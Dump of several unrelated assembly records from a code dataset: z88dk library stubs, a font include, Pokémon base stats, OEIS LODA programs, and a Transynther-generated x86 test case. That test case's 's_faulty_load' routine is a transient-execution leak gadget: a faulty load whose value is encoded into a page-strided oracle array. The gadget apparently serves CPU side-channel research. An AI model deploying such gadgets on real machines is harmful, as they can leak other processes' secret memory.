36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
||||
TheStack | 337e24ed43106acdff70ed09b49639d6914e2738 | Assemblycode:Assembly | {"size": 634, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_lmod_callee.asm", "max_stars_repo_name": "ahjelm/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_lmod_callee.asm", "max_issues_repo_name": "C-Chads/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_lmod_callee.asm", "max_forks_repo_name": "C-Chads/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 26.4166666667, "max_line_length": 65, "alphanum_fraction": 0.5914826498} |
; long __lmod_callee (long left, long right)
SECTION code_clib
SECTION code_fp_am9511
PUBLIC cam32_sccz80_lmod_callee
EXTERN asm_am9511_lmod_callee
; modulus of sccz80 long by sccz80 long
;
; enter : stack = sccz80_long left, ret
; DEHL = sccz80_long right
;
; exit : DEHL = sccz80_long(left/right)
;
; uses : af, bc, de, hl, af', bc', de', hl'
defc cam32_sccz80_lmod_callee = asm_am9511_lmod_callee
; enter stack = sccz80_long left, ret
; DEHL = sccz80_long right
; return DEHL = sccz80_long
|
||||
TheStack | be267a631ced68a5866a2a095c45e7656f383a2e | Assemblycode:Assembly | {"size": 86, "ext": "asm", "max_stars_repo_path": "libsrc/stdio/ansi/ansifont_f5.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2021-06-18T12:56:15.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T20:38:40.000Z", "max_issues_repo_path": "libsrc/stdio/ansi/ansifont_f5.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2021-06-20T16:28:12.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-17T21:33:56.000Z", "max_forks_repo_path": "libsrc/stdio/ansi/ansifont_f5.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2021-06-18T18:18:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-22T08:01:32.000Z"} | {"max_stars_count": 38, "max_issues_count": 2, "max_forks_count": 6, "avg_line_length": 9.5555555556, "max_line_length": 27, "alphanum_fraction": 0.7674418605} |
SECTION rodata_clib
PUBLIC ansifont_f5
ansifont_f5:
BINARY "stdio/ansi/F5.BIN"
|
||||
TheStack | f01f5873ed2ae007e007dfafe6a6d49faa60f461 | Assemblycode:Assembly | {"size": 4474, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_342_1270.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_342_1270.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_342_1270.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 23.7978723404, "max_line_length": 1025, "alphanum_fraction": 0.6499776486} | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x2226, %rsi
lea addresses_UC_ht+0x11e56, %rdi
nop
nop
nop
add %r12, %r12
mov $86, %rcx
rep movsq
nop
and $20192, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rax
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_PSE+0x16126, %rdi
clflush (%rdi)
nop
nop
inc %rsi
movw $0x5152, (%rdi)
nop
nop
nop
nop
nop
and %r12, %r12
// Store
lea addresses_PSE+0x1f066, %rbx
nop
nop
nop
nop
nop
xor %rsi, %rsi
mov $0x5152535455565758, %r10
movq %r10, (%rbx)
nop
nop
inc %rax
// Store
lea addresses_UC+0x9a1f, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
and $30568, %rdx
movl $0x51525354, (%rsi)
nop
nop
nop
dec %rsi
// Store
mov $0x32, %r10
nop
nop
nop
nop
xor $56501, %rsi
movw $0x5152, (%r10)
nop
xor %rdi, %rdi
// Store
mov $0x5429010000000c66, %rbx
nop
nop
nop
nop
add %r10, %r10
mov $0x5152535455565758, %r12
movq %r12, %xmm5
movups %xmm5, (%rbx)
sub %r10, %r10
// Load
lea addresses_RW+0xaefe, %rsi
clflush (%rsi)
nop
nop
xor %rdx, %rdx
movb (%rsi), %r10b
nop
nop
nop
add $60907, %rdx
// Store
lea addresses_normal+0x1866, %rbx
nop
cmp $56351, %r10
mov $0x5152535455565758, %r12
movq %r12, %xmm2
movups %xmm2, (%rbx)
nop
nop
nop
nop
dec %rsi
// Store
lea addresses_normal+0x4e6, %r10
inc %rdx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
vmovaps %ymm4, (%r10)
nop
add $3341, %r12
// Store
lea addresses_normal+0x1e066, %rax
nop
nop
nop
nop
xor $41744, %r12
movl $0x51525354, (%rax)
nop
nop
add $41066, %rdx
// Faulty Load
lea addresses_PSE+0x3066, %r12
nop
nop
nop
nop
nop
inc %r10
movups (%r12), %xmm5
vpextrq $1, %xmm5, %rax
lea oracles, %r12
and $0xff, %rax
shlq $12, %rax
mov (%r12,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'33': 342}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
||||
TheStack | 81b3922d006088a8788584682d90b3932fc87a7d | Assemblycode:Assembly | {"size": 913, "ext": "asm", "max_stars_repo_path": "data/pokemon/base_stats/lapras.asm", "max_stars_repo_name": "AtmaBuster/pokeplat-gen2", "max_stars_repo_stars_event_min_datetime": "2021-06-19T06:41:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T17:12:33.000Z", "max_issues_repo_path": "data/pokemon/base_stats/lapras.asm", "max_issues_repo_name": "AtmaBuster/pokeplat-gen2-old", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "data/pokemon/base_stats/lapras.asm", "max_forks_repo_name": "AtmaBuster/pokeplat-gen2-old", "max_forks_repo_forks_event_min_datetime": "2021-08-11T19:47:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-01T07:07:56.000Z"} | {"max_stars_count": 6, "max_issues_count": null, "max_forks_count": 2, "avg_line_length": 45.65, "max_line_length": 500, "alphanum_fraction": 0.7502738226} | db 0 ; species ID placeholder
db 130, 85, 80, 60, 85, 95
; hp atk def spd sat sdf
db WATER, ICE ; type
db 45 ; catch rate
db 219 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 40 ; step cycles to hatch
INCBIN "gfx/pokemon/lapras/front.dimensions"
db GROWTH_SLOW ; growth rate
dn EGG_MONSTER, EGG_WATER_1 ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm WATER_PULSE, ROAR, TOXIC, HAIL, HIDDEN_POWER, ICE_BEAM, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, SAFEGUARD, FRUSTRATION, IRON_TAIL, THUNDERBOLT, THUNDER, RETURN, PSYCHIC_M, DOUBLE_TEAM, SHOCK_WAVE, FACADE, SECRET_POWER, REST, ATTRACT, BRINE, ENDURE, DRAGON_PULSE, GIGA_IMPACT, AVALANCHE, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, SWAGGER, SUBSTITUTE, SURF, STRENGTH, ROCK_SMASH, WATERFALL, ANCIENTPOWER, AQUA_TAIL, DIVE, ICY_WIND, IRON_HEAD, OUTRAGE, SIGNAL_BEAM, SNORE, ZEN_HEADBUTT
; end
|
||||
TheStack | 8206246e800f3d39132cec22e0fd77327f222097 | Assemblycode:Assembly | {"size": 674, "ext": "asm", "max_stars_repo_path": "programs/oeis/255/A255977.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/255/A255977.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/255/A255977.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 51.8461538462, "max_line_length": 423, "alphanum_fraction": 0.7002967359} | ; A255977: The number of numbers j+k*r <= n, where r = golden ratio and j and k are nonnegative integers.
; 1,2,4,6,9,13,17,22,27,33,40,47,55,64,73,83,93,104,116,128,141,154,168,183,198,214,231,248,266,284,303,323,343,364,386,408,431,454,478,503,528,554,580,607,635,663,692,722,752,783,814,846,879,912,946,980,1015,1051,1087,1124,1162,1200,1239,1278,1318,1359,1400,1442,1485,1528,1572,1616,1661,1707,1753,1800,1847,1895,1944,1993,2043,2094,2145,2197,2249,2302,2356,2410,2465,2521,2577,2634,2691,2749,2808,2867,2927,2987,3048,3110
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,19446 ; a(n) = ceiling(n/tau), where tau = (1+sqrt(5))/2.
add $1,$2
lpe
add $1,1
mov $0,$1
|
||||
TheStack | ff6029f4dfa449727d7a829df58f2173e459dec1 | Assemblycode:Assembly | {"size": 390, "ext": "asm", "max_stars_repo_path": "programs/oeis/144/A144829.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/144/A144829.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/144/A144829.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 55.7142857143, "max_line_length": 236, "alphanum_fraction": 0.8153846154} | ; A144829: Partial products of successive terms of A017209; a(0)=1 .
; 1,4,52,1144,35464,1418560,69509440,4031547520,270113683840,20528639971840,1744934397606400,164023833375001600,16894454837625164800,1892178941814018457600,228953651959496233369600,29763974754734510338048000,4137192490908096936988672000
mul $0,9
trn $0,5
seq $0,114806 ; Nonuple factorial, 9-factorial, n!9, n!!!!!!!!!.
|